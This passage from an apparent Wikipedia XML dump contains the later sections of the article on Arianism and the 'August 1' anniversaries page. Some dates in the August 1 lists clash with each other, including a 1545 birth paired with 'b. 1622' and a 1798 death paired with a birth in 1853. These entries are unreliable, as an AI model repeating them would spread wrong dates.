In [[321]] Arius was denounced by a [[synod]] at Alexandria for teaching a heterodox view of the relationship of Jesus to God the Father. Because Arius and his followers had great influence in the schools of Alexandria &amp;mdash; counterparts to modern universities or seminaries &amp;mdash; their theological views spread, especially in the eastern Mediterranean. By [[325]] the controversy had become significant enough that Emperor Constantine called an assembly of bishops, the [[First Council of Nicea|First]] [[Ecumenical council|Council]] of [[Nicaea]] (modern Iznik, Turkey), which condemned Arius' doctrine and formulated the [[Nicene Creed]], which is still recited in [[Catholicism|Catholic]], [[Orthodox]], and some [[Protestant]] services. The Nicene Creed's central term, used to describe the relationship between the Father and the Son, is [[ousia|homoousios]], meaning &quot;of the same substance&quot; or &quot;of one being&quot;. (The [[Athanasian Creed]] is less often used but is a more overtly anti-Arian statement on the Trinity.)

Constantine exiled those who refused to accept the Nicean creed &amp;mdash; Arius himself, the deacon [[Euzoios]], and the Libyan bishops [[Theonas of Ptolemais]] and [[Secundus of Mamarica]] &amp;mdash; and also the bishops who signed the creed but refused to join in Arius' condemnation, [[Eusebius of Nicomedia]] and [[Theognis of Nicea]]. The Emperor also ordered all copies of the ''Thalia'', the book in which Arius had expressed his teachings, to be [[Book burning|burned]]. This ended the open theological dispute for a few years, though under the surface opposition to the Nicean creed remained.

Though he was committed to maintaining what the church had defined at Nicea, Constantine was also bent on pacifying the situation and eventually became more lenient towards those condemned and exiled at the council. First he allowed Eusebius of Nicomedia, who was a prot&amp;eacute;g&amp;eacute; of his sister, and Theognis to return once they had signed an ambiguous statement of faith. The two, and other friends of Arius, worked for Arius' rehabilitation. At the synod of Tyre in [[335]] they brought accusations against Athanasius, bishop of Alexandria, the primary opponent of Arius; after this, Constantine had [[Athanasius]] banished, since he considered him an impediment to reconciliation. In the same year, the synod of Jerusalem readmitted Arius to communion, and in [[336]], Constantine allowed Arius to return to his hometown. Arius, however, died on the day he was scheduled to depart from Constantinople. Eusebius and Theognis remained in the Emperor's favour, and when Constantine, who had been a [[catechumen]] much of his adult life, accepted [[baptism]] on his deathbed, it was from Eusebius of Nicomedia.

== The theological debates reopen ==
The Council of Nicea had not ended the controversy, as many bishops of the Eastern provinces disputed the ''homoousios'', the central term of the Nicene creed, as it had been used by [[Paul of Samosata]], who had advocated a [[Monarchianism|monarchianist]] [[Christology]]. Both the man and his teaching, including the term ''homoousios'', had been condemned by synods in Antioch in [[269]].

Hence, after Constantine's death in [[337]], open dispute resumed again. Constantine's son Constantius II, who had become Emperor of the eastern part of the Empire actually encouraged the Arians and set out to reverse the Nicene creed. His advisor in these affairs was Eusebius of Nicomedia, who had already at the Council of Nicea been the head of the Arian party, who also was made bishop of Constantinople. 

Constantius used his power to exile bishops adhering to the Nicene creed, especially [[Athanasius]] of Alexandria, who fled to Rome. In [[355]] Constantius became the sole Emperor and extended his pro-Arian policy towards the western provinces, frequently using force to push through his creed, even exiling [[Pope Liberius]]. 

As debates raged in an attempt to come up with a new formula, three camps evolved among the opponents of the Nicene creed. The first group mainly opposed the Nicene terminology and preferred the term ''homoiousios'' (alike in substance) to the Nicene ''homoousios'', while they rejected Arius and his teaching and accepted the equality and coeternality of the persons of the Trinity.  Because of this centrist position, and despite their rejection of Arius, they were called &quot;semi-Arians&quot; by their opponents. The second group also avoided invoking the name of Arius, but in large part followed Arius' teachings and, in another attempted compromise wording, described the Son as being like (''homoi'') the Father. A third group explicitly called upon Arius and described the Son as unlike (''anhomoi'') the Father. Constantius wavered in his support between the first and the second party, while harshly persecuting the third.

The debates between these groups resulted in numerous synods among them [[Sardica]] in [[343]], the council of Sirmium in [[358]] and the double council of Rimini and Selecia in [[359]], and no less than fourteen further creed formulas between 340 and 360, and the pagan observer Ammianus Marcellinus commented sarcastically: &quot;The highways were covered with galloping bishops.&quot; None of these attempts were acceptable to the defenders of Nicene orthodoxy: writing about the latter councils, Saint [[Jerome]] remarked that the world &quot;awoke with a groan to find itself Arian.&quot;

After Constantius' death in [[361]], his successor [[Julian the Apostate|Julian]], a devotee of [[Paganism|Rome's pagan gods]], declared that he would no longer attempt to favor one church faction over another, and allowed all exiled bishops to return; this had the objective of further increasing dissension among Christians. The Emperor [[Valens]], however, revived Constantius' policy and supported the &quot;Homoian&quot; party, exiling bishops and often using force. During this persecution many bishops were exiled to the other ends of the Empire, (e.g., [[Hilarius of Poitiers]] to the Eastern provinces). These contacts and the common plight subsequently led to a rapprochement between the Western supporters of the Nicene creed and the ''homoousios'' and the Eastern semi-Arians.

After Valens' death in the [[Battle of Adrianople (378)|Battle of]] [[Adrianople]] in [[378]], the accession of [[Theodosius I]], who adhered to the Nicene creed, allowed for settling the dispute in [[381]]: at the [[Second Ecumenical Council]] in Constantinople, a group of mainly Eastern bishops assembled and accepted the Nicene Creed, which was supplemented in regard to the [[Holy Spirit]]. This is generally considered the end of the dispute about the Trinity and the end of Arianism among the Roman, non-Germanic peoples.

== Nicene Christianity becomes the state religion of Rome ==
{{cleanup-merge}}
In the 4th century, the Christian Church in the Roman Empire was wracked with controversy over the nature of the [[Trinity]].  In 325 AD, the [[First Council of Nicaea|Council of Nicea]] had condemned the teachings of the theologian [[Arius]]: that Jesus was a created being and inferior to God the Father, and that the Father and Son were of a similar substance (''homoiousion'' in Greek) but not identical.  The Council of Nicea had formulated the [[Nicene Creed]], which declared that Jesus and God the Father were of the same substance (''[[ousia|homoousion]]'' in Greek, a term which was condemned at the Council of Antioch in 264-268). The Council of Nicea did not settle these controversies, and by the time of Theodosius' accession, there were still several different church factions that sought to impose their views on Christianity as a whole. While no mainstream churchmen within the Empire explicitly adhered to Arius or his teachings, there were those who still used the ''homoiousion'' formula, as well as those who attempted to bypass the debate by merely saying that Jesus was like (''homoi'' in Greek) God the Father. All these non-Nicenes were frequently labeled as [[Arians]] (i.e., followers of Arius) by their opponents, though they would not have identified themselves as such.  (For a succinct survey of the situation just before Theodosius' accession, see ''Failure of Empire,'' Noel Lenski (U. of California Press, 2002, ISBN 0520233328) pp. 235-237)

The emperor Valens had favored the group who used the ''homoi'' formula; this theology was prominent in much of the East and had under the sons of Constantine the Great gained a foothold in the west.  Theodosius, on the other hand, cleaved closely to the Nicene Creed: this was the line that predominated in the West and was held by the important Alexandrian church.

Two days after Theodosius arrived in Constantinople, [[November 24]], [[380]], Theodosius expelled the non-Nicene bishop, [[Demophilus of Constantinople]], and surrendered the churches of that city to [[Gregory Nazianzus]], the leader of the small Nicene community there, an act which provoked rioting. Theodosius had just been baptized, by bishop Acholius of Thessalonica, during a severe illness, as was common in the early Christian world.  In February he and Gratian published an edict that all their subjects should profess the faith of the bishops of Rome and Alexandria (i.e., the Nicene faith).

Although much of the church hierarchy in the East had held non-Nicene positions in the decades leading up to Theodosius' accession, he managed to impose Nicene uniformity during his reign.  Later Nicene writers took special glee in the ignominious death of Valens, the Arians' protector, and indeed his defeat probably damaged the standing of the Homoian faction.

For the first part of his rule, Theodosius seems to have ignored the semi-official standing of the Christian bishops; in fact he had voiced his support for the preservation of temples or pagan statues as useful public buildings. Then, in a series of decrees called the '''Theodosian decrees''' he progressively declared that those pagan feasts that had not yet been rendered Christian ones were now to be workdays (in [[389]]). In [[391]], he outlawed [[Animal sacrifice|blood sacrifice]] and decreed &quot;no one is to go to the sanctuaries, walk through the temples, or raise his eyes to statues created by the labor of man&quot;. The temples that were thus closed could be declared &quot;abandoned&quot; as Bishop [[Theophilus of Alexandria]] immediately noted in applying for permission to demolish a site and cover it with a Christian church, an act that must have received general sanction, for [[Mithraism|mithraea]] forming crypts of churches and temples forming the foundations of 5th century churches appear throughout the former Roman Empire. Theodosius participated in actions by Christians against major cult sites: the destruction of the gigantic [[Serapeum]] of Alexandria and its library by a mob in around [[392]], authorized by Theodosius (''extirpium malum'') and described in exultant detail by Christian propagandists, was only the most spectacular such occasion (Peter Brown, ''The Rise of Western Christendom,''  2003, p. 73-74). The destruction of the greatest temple in Alexandria gave encouragement to Christian vigilantism and mob action in other centers, often spurred on by the local bishops, as early hagiographies proudly relate. 

By decree in 391, Theodosius ended the subsidies that had still trickled to some remnants of Greco-Roman civic paganism too. The [[Sacred fire of Vesta|eternal fire]] in the [[Vesta|Temple of Vesta]] in the [[Roman Forum]] was extinguished, and the [[Vestal Virgins]] were disbanded. Taking the auspices and practicing witchcraft were to be punished. Pagan members of the [[Roman Senate|Senate]] in Rome appealed to him to restore the [[Altar of Victory]] in the Senate House; he refused. After the last [[Ancient Olympic Games|Olympic Games]] in [[393]], Theodosius cancelled the much-diminished games, and the reckoning of dates by [[Olympiad]]s soon came to an end.

Now Theodosius portrayed himself on his coins holding the [[labarum]].

The apparent change of policy that resulted in the &quot;Theodosian decrees&quot; has often been credited to the increased influence of [[Ambrose]], [[Roman Catholic Archdiocese of Milan|bishop of Milan]]. The personal piety of Theodosius cannot be assessed. It is worth noting that in 390 Ambrose had excommunicated Theodosius, who had recently ordered the massacre of several thousand inhabitants of [[Thessalonica]], in response to the assassination of his military governor stationed in the city and that Theodosius performed several months of public penance. The specifics of the decrees were superficially limited in scope, specific measures in response to various petitions and accusations from the increasingly militant Christians throughout his administration. In 391 or 392 he officially sanctioned the destruction of the most famous of the temples in the East, the [[Serapeum]] at Alexandria.  Bands of monks and Christian officials had long been accustomed to take the law into their own hands and destroy various centers of pagan worship, but the destruction of the Serapeum seemed to confirm that such actions enjoyed the emperor's tacit approval at least, and served to encourage such action in the future. Theodosius had been effectively manipulated into sanctioning the destruction of the Serapeum by local officials who had essentially engineered the crisis there for this very purpose.

Ambrose preached a [[panegyric]] at Theodosius' [[funeral]].

== Arianism in the early medieval Germanic kingdoms ==
However, during the time of Arianism's flowering in [[Constantinople]], the [[Goths|Goth]] convert [[Ulfilas]] (later the subject of the letter of Auxentius cited above) was sent as a missionary to the Gothic barbarians across the [[Danube River|Danube]], a mission favored for political reasons by emperor [[Constantius]].  Ulfilas' initial success in converting this Germanic people to an Arian form of Christianity was strengthened by later events. When the Germanic peoples entered the [[Roman Empire]] and founded successor-kingdoms in the western part, most had been Arian Christians for more than a century.  

The conflict in the 4th century had seen Arian and Nicene factions struggling for control of the Church; in contrast, in the kingdoms these Arian Germans established on the wreckage of the Western Roman Empire in the 5th century, there were entirely separate Arian and Nicene Churches with parallel hierarchies, each serving different sets of believers, the Germanic elites being Arians and the majority population being trinitarian. Many scholars see the persistence of the Germans' Arian religion as a strategy to differentiate the Germanic elite from the local inhabitants and maintain their group identity against the local culture.

While most Germanic tribes in general were tolerant regarding the trinitarian beliefs of their subjects, the Vandals tried for several decennia to force their Arian belief on their North African trinitarian subjects, exiling trinitarian clergy, dissolving monasteries and exercising heavy pressure on non-conforming Christians.

For more information on these Arian kingdoms, see the articles on the [[Ostrogoths]], [[Visigoths]], [[Vandals]], [[Burgundians]], and [[Lombards]].  (The [[Franks]] were unique among the Germanic peoples in that they entered the empire as pagans and converted to Nicene Christianity directly.) By the beginning of the [[8th century]], these kingdoms had either been conquered by Nicene neighbors (Ostrogoths, Vandals, Burgundians) or their rulers had accepted Nicene Christianity (Visigoths, Lombards).

== &quot;Arian&quot; as a polemical epithet ==
In many ways, the conflict around Arian beliefs in the fourth, fifth, and sixth centuries helped firmly define the centrality of the Trinity in mainstream Christian theology. As the first major intra-Christian conflict after Christianity's legalization, the struggle between Nicenes and Arians left a deep impression on the institutional memory of Nicene churches. Thus, over the past 1,500 years, some Christians have used the term ''Arian'' to refer to those groups that see themselves as worshipping Jesus Christ or respecting his teachings, but do not hold to the [[Nicene creed]].

Like the Arians, many groups have embraced the belief that Jesus is not the one God, but a separate being subordinate to the Father, and that Jesus at one time did not exist. Some of these profess, as the Arians did, that God made all things through the pre-existent Christ. Some profess that Jesus became divine, through exaltation, just as the Arians believed. Drawing a parallel between these groups and Arians can be useful for distinguishing a type of unbelief in the Trinity. But, despite the frequency with which this name is used as a polemical label, there has been no historically continuous survival of Arianism into the modern era. The groups so labelled do not hold beliefs identical to Arianism. For this reason, they do not use the name as a self-description, even if they acknowledge that their beliefs are at points in agreement with, or in broad terms similar to, Arianism.

Those whose religious beliefs have been compared to or labeled as Arianism include:

*[[Unitarianism|Unitarians]], who believe that God is one as opposed to a Trinity, and many of whom believe in the moral authority, but not the deity, of Jesus.
*[[Jehovah's Witnesses]], who hold that at one point in time Jesus did not exist.
*[[Christadelphians]], who believe that Jesus' pre-natal existence was conceptual, as the &quot;Logos&quot;, rather than literal.
*Followers of the various churches of the [[Latter Day Saint movement]], who believe in the unity in purpose of the Godhead but that Jesus is a divine being separate from and subordinate to God the Father.
*[[Islam|Muslims]], who believe that Jesus (generally called [[Isa]]), was a prophet of the one God, but not himself divine.

For more on the theology of these groups, see their respective articles.

==See also==
* [[Germanic Christianity]]
* [[Protestantism]]
* [[Semi-Arianism]]
* [[Anomoean]], extreme sect of pure Arians
* [[Christology]]

== Bibliography ==

* [[Athanasius of Alexandria]], ''History of the Arians'' [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-47.htm Part I] [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-48.htm Part II] [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-49.htm Part III] [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-50.htm Part IV] [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-51.htm Part V] [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-52.htm Part VI] [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-53.htm Part VII] [http://www.ccel.org/fathers2/NPNF2-04/Npnf2-04-54.htm Part VIII] 
* Ivor J. Davidson, ''A Public Faith'', Volume 2 of Baker History of the Church, 2005, ISBN 0801012759
* J.N.D. Kelly, ''Early Christian Doctrines'', 1978, ISBN 006064334X
* William C. Rusch, ''The Trinitarian Controversy'', (Sources of Early Christian Thought), 1980, ISBN 0800614100
* [[John Henry Newman]], ''[http://www.newmanreader.org/works/arians/index.html Arians of the Fourth Century]'', 1871  
* [[Philip Schaff|Schaff, Philip]] ''[http://www.ccel.org/s/schaff/history/3_ch09.htm Theological Controversies and the Development of Orthodoxy]'', History of the Christian Church, Vol III, Ch. IX

==External links==
*[http://www.newadvent.org/cathen/01707c.htm CATHOLIC ENCYCLOPEDIA: Arianism]
*[http://mb-soft.com/believe/txo/arianism.htm Believe: Arianism]

[[Category:Ancient Christian Denominations]]
[[Category:Ancient Roman Christianity]]
[[Category:Antitrinitarianism]]
[[Category:Arianism]]
[[Category:Christian theology]]
[[Category:Heresy]]
[[Category:Late Antiquity]]
[[bg:Арианство]]
[[cs:Ariánství]]
[[da:Arianisme]]
[[de:Arianismus]]
[[eo:Arianismo]]
[[es:Arrianismo]]
[[fi:Areiolaisuus]]
[[fr:Arianisme]]
[[gl:Arianismo]]
[[he:המינות האריאנית]]
[[ia:Arianismo]]
[[it:Arianesimo]]
[[ja:アリウス派]]
[[nl:Arianisme]]
[[no:Arianisme]]
[[pl:Arianizm]]
[[pt:Arianismo]]
[[ru:Арианство]]
[[sv:Arianism]]
[[zh:阿里烏教派]]</text>
    </revision>
  </page>
  <page>
    <title>August 1</title>
    <id>1254</id>
    <revision>
      <id>41892543</id>
      <timestamp>2006-03-02T12:16:13Z</timestamp>
      <contributor>
        <username>Furry</username>
        <id>461810</id>
      </contributor>
      <comment>/* Births */ Added birth of Lionel Bart in 1930.</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=1}}
|}
'''August 1''' is the 213th day of the year in the [[Gregorian Calendar]] (214th in [[leap year]]s), with 152 days remaining.

==Events==
*[[30 BC]] - [[Octavian]] (later known as [[Augustus]]) enters [[Alexandria]], [[Egypt]], bringing it under the control of the [[Roman Republic]].
*[[527]] - [[Justinian I]] becomes [[Byzantine Emperor]].
*[[607]] - [[Ono no Imoko]] is dispatched as envoy to the [[Sui Dynasty|Sui]] court in [[China]] (Traditional [[Japanese calendar|Japanese date]]: July 3, 607).
*[[1291]] - The [[Switzerland|Swiss Confederation]] is formed.
*[[1461]] - [[Edward IV of England|Edward IV]] is crowned king of [[England]].
*[[1492]] - [[Ferdinand V of Spain|Ferdinand]] and [[Isabella of Castile|Isabella]] drive the [[Jew|Jews]] out of [[Spain]].
*[[1498]] - [[Christopher Columbus]] becomes the first European to visit [[Venezuela]].
*[[1619]] - First African [[slavery|slave]]s arrive in [[Jamestown, Virginia]].
*[[1664]] - The [[Ottoman Empire]] is defeated in the [[Battle of Saint Gotthard]] by an [[Habsburg Monarchy|Austria]]n army led by [[Raimondo Montecuccoli]], resulting in the [[Peace of Vasvár]].
*[[1774]] - The element [[oxygen]] is discovered by [[Carl Wilhelm]] and [[Joseph Priestley]].
*[[1798]] - [[Battle of the Nile]] starts between French and British fleets.
*[[1820]] - [[London]]'s [[Regent's Canal]] opens.
*[[1831]] - [[London Bridge]] opens.
*[[1832]] - The [[Black Hawk War]] ends.
*[[1834]] - [[Slavery]] is abolished in the [[British Empire]].
*[[1838]] - Slaves in [[Trinidad and Tobago]] are emancipated.
*[[1864]] - The [[Elgin Watch Company]] is founded in [[Elgin, Illinois]]
*[[1876]] - [[Colorado]] is admitted as the 38th [[U.S. state]].
*[[1894]] - The [[Sino-Japanese War (1894-1895)|First Sino-Japanese War]] erupts between [[Japan]] and [[China]] over [[Korea]].
*[[1902]] - The [[United States]] buys the rights to the [[Panama Canal]] from [[France]].
*[[1907]] - First [[Scouting|Scout]] camp opens on [[Brownsea Island]].  It was set up on July 29th and ran until August 9th.
*[[1914]] - [[Germany]] declares war on [[Russia]] at the opening of [[World War I]].
*[[1927]] - The [[Nanchang Uprising]] marks the first significant battle in the [[Chinese Civil War]] between the [[Kuomintang]] and [[Communist Party of China]]. This day is commemorated as the anniversary of the founding of the [[People's Liberation Army]].
*[[1936]] - The [[Berlin]] [[Olympic Games]] open.
*[[1937]] - [[Tito]] reads the resolution &quot;[[Manifesto]] of constitutional [[congress]] of KPH&quot; to the constitutive [[congress]] of KPH ([[Croatian Communist Party]]) in woods near [[Samobor]]. 
*[[1941]] - The first [[Jeep]] is produced.
*[[1944]] - [[Anne Frank]] makes the last entry in her [[diary]].
*1944 - [[Warsaw Uprising]] against the [[Nazi]] occupation breaks out in [[Warsaw]], [[Poland]].
*[[1945]] - [[Mel Ott]] becomes the third member of the [[500 home run club]] with a [[Home run|home run]] at the [[Polo Grounds]] in [[New York, New York]].
*[[1946]] - The Japanese Federation of Trade Unions is formed.
*[[1948]] - The [[U.S. Air Force Office of Special Investigations]] is founded.
*[[1957]] - The United States and [[Canada]] form the North American Air Defense Command ([[North American Aerospace Defense Command|NORAD]]).
*[[1960]] - [[Dahomey]] (later renamed [[Benin]]) declares independence from [[France]]
** [[Communist party|Communist]] [[Party of Independence and Work|PAI]] is banned in [[Senegal]].
*[[1961]] - [[Six Flags Over Texas]], the first [[Six Flags]] [[amusement park|park]], opens.
*[[1965]] - Princess [[Beatrix of the Netherlands|Beatrix]] of the [[Netherlands]] announces her engagement to [[Claus von Amsberg]].
*[[1966]] - [[Charles Whitman]] kills 15 people shooting from a tower at the [[University of Texas at Austin]] before being killed by the police.
*1966 - Purges of intellectuals and imperialists becomes official [[People's Republic of China]] policy at the beginning of the [[Cultural Revolution]].
*[[1967]] - [[Israel]] annexes East [[Jerusalem]].
*[[1970]] - [[Powder Ridge Rock Festival]]
*[[1971]] - [[George Harrison]]'s [[The Concert for Bangladesh|Concert for Bangladesh]] in New York City features, among others, [[Bob Dylan]], [[Eric Clapton]], [[Ringo Starr]] and [[Leon Russell]].
*[[1975]] - [[CSCE Final Act]] creates the [[Organization for Security and Co-operation in Europe|Conference for Security and Co-operation in Europe]].
*[[1977]] - [[Frank H.T. Rhodes]] is elected President of [[Cornell University]], a post he would hold for 18 years. 
*[[1981]] - First broadcasts by [[MTV]]. The first video played was &quot;[[Video Killed The Radio Star]]&quot; by the [[Buggles]].
*[[1994]] - [[Michael Jackson]] and [[Lisa Marie Presley]] confirm rumors that they had married eleven weeks earlier.
*[[1996]] - [[Olympic Games]]: [[Michael Johnson (athlete)|Michael Johnson]] wins the 200-meter dash in 19.32 seconds, beating the old world record by over 0.3 seconds.
*1996 - [[MTV2]] makes its first broadcasts.  The first video played was [[Beck]]'s &quot;[[Where It's At]]&quot;.
*[[2001]] - An agreement is reached on the position of the minority [[Albanian language]] in the [[Republic of Macedonia]].
*2001 - [[Bulgaria]], [[Cyprus]], [[Latvia]], [[Malta]], [[Slovenia]] and [[Slovakia]] join the [[European Environment Agency]].
*2001 - Alabama Supreme Court Chief Justice [[Roy Moore]] has a 2-1/2 ton [[Ten Commandments]] monument installed in the rotunda of the judiciary building, leading to a [[Glassroth v. Moore|lawsuit]] to have it removed and his own removal from office.
*[[2004]] - A supermarket fire kills 215 people and injures 300 in [[Asunción]], [[Paraguay]].
*[[2005]] - [[German spelling reform of 1996]] is formally implemented
*2005 - [[Disneyland Resort Line]] of the [[Hong Kong]] [[MTR]] opens to the public.

==Births==
*[[10 BC]] - [[Claudius]], [[Roman Emperor]] (d. [[54]])
*[[126]] - [[Pertinax]], [[Roman Emperor]] (d. [[193]])
*[[1313]] - [[Emperor Kogon]] of Japan (d. [[1364]])
*[[1377]] - [[Emperor Go-Komatsu of Japan]] (d. [[1433]])
*[[1545]] - [[Andrew Melville]], Scottish theologian and religious reformer (b. [[1622]])
*[[1555]] - [[Edward Kelley]], English spirit medium (d. [[1597]])
*[[1579]] - [[Luís Vélez de Guevara]], Spanish writer (d. [[1644]])
*[[1630]] - [[Thomas Clifford, 1st Baron Clifford of Chudleigh]], English statesman (d. [[1673]])
*[[1713]] - [[Charles I, Duke of Brunswick-Lüneburg]] (d. [[1780]])
*[[1714]] - [[Richard Wilson (painter)|Richard Wilson]], Welsh painter (d. [[1782]])
*[[1744]] - [[Jean-Baptiste Lamarck]], French scientist (d. [[1829]])
*[[1770]] - [[William Clark]], American explorer (d. [[1838]])
*[[1779]] - [[Francis Scott Key]], American lawyer and lyricist (d. [[1843]])
*1779 - [[Lorenz Oken]], German naturalist (d. [[1851]])
*[[1815]] - [[Richard Henry Dana, Jr.]], American lawyer, politician, and author (d. [[1882]])
*[[1818]] - [[Maria Mitchell]], American astronomer (d. [[1889]])
*[[1819]] - [[Herman Melville]], American writer (d. [[1891]])
*[[1858]] - [[Hans Rott]], Austrian composer (d. [[1884]])
*[[1885]] - [[George de Hevesy]], Hungarian chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1966]])
*[[1889]] - [[Walter Gerlach]], German physicist (d. [[1979]])
*[[1891]] - [[Karl Kobelt]], Swiss politician (d. [[1968]])
*[[1921]] - [[Jack Kramer (tennis player)|Jack Kramer]], American tennis player
*[[1922]] - [[Pat McDonald]], Australian actress (d. [[1990]])
*[[1924]] - [[Georges Charpak]], Ukrainian-born physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1925]] - [[Ernst Jandl]], Austrian writer (d. [[2000]])
*[[1927]] - [[Raymond Leppard]], English conductor
*[[1930]] - [[Pierre Bourdieu]], French sociologist (d. [[2002]])
*  1930   - [[Lionel Bart]], English song-writer (d. [[1999]])
*[[1932]] - [[Meir Kahane]], American orthodox rabbi and founder of the Jewish Defense League (d. [[1990]])
*[[1933]] - [[Dom DeLuise]], American actor and comedian
*[[1936]] - [[Yves Saint Laurent]], French fashion designer
*[[1937]] - [[Al D'Amato]], U.S. Senator from New York
*[[1942]] - [[Jerry Garcia]], American guitarist, lyricist, and singer (The [[Grateful Dead]]) (d. [[1995]])
*[[1945]] - [[Douglas D. Osheroff]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1946]] - [[Fiona Stanley]], Australian epidemiologist
*[[1949]] - [[Kurmanbek Bakiyev]], President of Kyrgyzstan
*[[1950]] - [[Jim Carroll]], American poet and actor
*[[1952]] - [[Zoran Đinđić]], [[Prime Minister of Serbia]] (d. [[2003]])
*[[1953]] - [[Robert Cray]], American singer
*[[1955]] - [[Trevor Berbick]], Jamaican boxer
*[[1956]] - [[Tom Leykis]], American radio personality
*[[1958]] - [[Adrian Dunbar]], Northern Irish actor
*[[1959]] - [[Joe Elliott]], English musician ([[Def Leppard]])
*[[1960]] - [[Chuck D]], American rapper ([[Public Enemy]])
*1960 - [[Richard Roeper]], American newspaper columnist and film critic
*[[1962]] - [[Robert Clift]], British field hockey player
*[[1963]] - [[Coolio]], American rapper
*[[1965]] - [[Sam Mendes]], British stage and film director
*[[1970]] - [[David James (footballer)|David James]], English footballer
*[[1973]] - [[Tempestt Bledsoe]], American actress
*[[1978]] - [[Edgerrin James]], American football player

==Deaths==
*[[371]] - [[St Eusebius of Vercelli]], Italian bishop
*[[1137]] - King [[Louis VI of France]] (b. [[1081]])
*[[1227]] - [[Shimazu Tadahisa]], Japanese warlord (b. [[1179]])
*[[1402]] - [[Edmund of Langley, 1st Duke of York]], son of [[Edward III of England]] (b. [[1341]])
*[[1457]] - [[Lorenzo Valla]], Italian humanist
*[[1464]] - [[Cosimo de' Medici]], ruler of Florence (b. [[1386]])
*[[1541]] - [[Simon Grynaeus]], German theologian (b. [[1493]])
*[[1546]] - [[Peter Faber]], French Jesuit theologian (b. [[1506]])
*[[1557]] - [[Olaus Magnus]], Swedish writer (b. [[1490]])
*[[1580]] - [[Albrecht Giese IV]], German politician and diplomat (b. [[1524]])
*[[1589]] - [[Jacques Clément]], French assassin of [[Henry III of France]] (b. [[1567]])
*[[1598]] - [[Abraham Ortelius]], Belgian cartographer (b. [[1527]])
*[[1714]] - Queen [[Anne of Great Britain]] (b. [[1665]])
*[[1787]] - [[Alphonsus Liguori]], Italian founder of the Redemptionist order (b. [[1696]])
*[[1796]] - [[Robert Pigot]], British army officer (b. [[1720]])
*[[1798]] - [[François-Paul Brueys D'Aigalliers]], French admiral (killed in battle) (b. [[1853]])
*[[1851]] - [[William Joseph Behr]], German writer (b. [[1775]])
*[[1866]] - [[John Ross (Cherokee chief)]], Principal Chief of the Cherokee Nation (b. [[1790]])
*[[1917]] - [[Frank Little]], American labor organizer (lynched) (b. [[1879]])
*[[1918]] - [[John Riley Banister]], American cowboy and Texas Ranger (b. [[1854]])
*[[1920]] - [[Bal Gangadhar Tilak]], Indian nationalist leader (b. [[1856]])
*[[1964]] - [[Johnny Burnette]], American singer (b. [[1934]])
*[[1967]] - [[Richard Kuhn]], Austrian chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1900]])
*[[1970]] - [[Frances Farmer]], American actress (b. [[1913]])
*1970 - [[Otto Heinrich Warburg]], German physician and physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (b. [[1883]])
*[[1973]] - [[Gian Francesco Malipiero]], Italian composer (b. [[1882]])
*[[1977]] - [[Gary Powers]], American spy plane pilot (b. [[1929]])
*[[1981]] - [[Paddy Chayefsky]], American writer (b. [[1923]])
*[[1989]] - [[John Ogdon]], English pianist (b. [[1937]])
*[[1990]] - [[Norbert Elias]], German sociologist (b. [[1897]])
*1990 - [[Graham Young]], British serial killer (b. [[1947]])
*[[1996]] - [[Frida Boccara]], French singer (b. [[1940]])
*1996 - [[Tadeus Reichstein]], Polish chemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1897]])
*[[1997]] - [[Sviatoslav Richter]], Ukrainian pianist (b. [[1915]])
*[[1999]] - [[Nirad C. Chaudhuri]], Indian-born writer (b. [[1897]])
*[[2001]] - [[Korey Stringer]], American football player (b. [[1974]])
*[[2003]] - [[Guy Thys]], Belgian football coach (b. [[1922]])
*2003 - [[Marie Trintignant]], French actress (b. [[1962]])
*[[2004]] - [[Philip Hauge Abelson]] American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1913]])
*[[2005]] - [[Al Aronowitz]], American music journalist (b. [[1928]])
*2005 - King [[Fahd of Saudi Arabia]] (b. [[1923]])
*2005 - [[Constant Nieuwenhuys]], Dutch painter (b. [[1920]])
*2005 - [[Wim Boost|Wibo]], Dutch cartoonist (b. [[1918]])

==Holidays and observances==
*[[Eastern Orthodoxy|Orthodox Christianity]] - [[Procession of the Cross]]
*[[Angola]] - [[Armed Forces Day]]
*[[Barbados]], [[Trinidad and Tobago]] - [[Emancipation Day]]
*[[Benin]] - [[National Day]]
*[[People's Republic of China]] - Anniversary of the Founding of the [[People's Liberation Army]]
*[[Democratic Republic of Congo]] - Parent's Day
*[[Nicaragua]] - [[Fiesta Day]]
*[[Rastafari movement]] - Celebration of the liberation of [[Haile Selassie]] from [[slavery]]
*[[Switzerland]] - [[National Day]]
*[[Bahá'í Faith]] - [[Feast of Kamál]] (Perfection) - First day of the eighth month of the [[Bahá'í Calendar]]
*[[Lughnasadh]] - Lá Lúnasa, the traditional first day of [[Autumn]] in [[Ireland]].
*[[Lammas]] - [[Neopagan]] festival of [[Lammas]]
*[[Lebanon]] - Army's Day ([[Eid al-Jaysh]])
*[[Yorkshire]], [[United Kingdom]] - [[Yorkshire Day]]
*[[Citizenship Day]] in the [[United States]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/1 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050801.html ''The New York Times'': On This Day]

----

[[July 31]] - [[August 2]] - [[July 1]] - [[September 1]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:1 Augustus]]
[[als:1. August]]
[[ar:1 اغسطس]]
[[an:1 d'agosto]]
[[ast:1 d'agostu]]
[[bg:1 август]]
[[be:1 жніўня]]
[[bs:1. avgust]]
[[ca:1 d'agost]]
[[ceb:Agosto 1]]
[[cv:Çурла, 1]]
[[co:1 d'aostu]]
[[cs:1. srpen]]
[[cy:1 Awst]]
[[da:1. august]]
[[de:1. August]]
[[et:1. august]]
[[el:1 Αυγούστου]]
[[es:1 de agosto]]
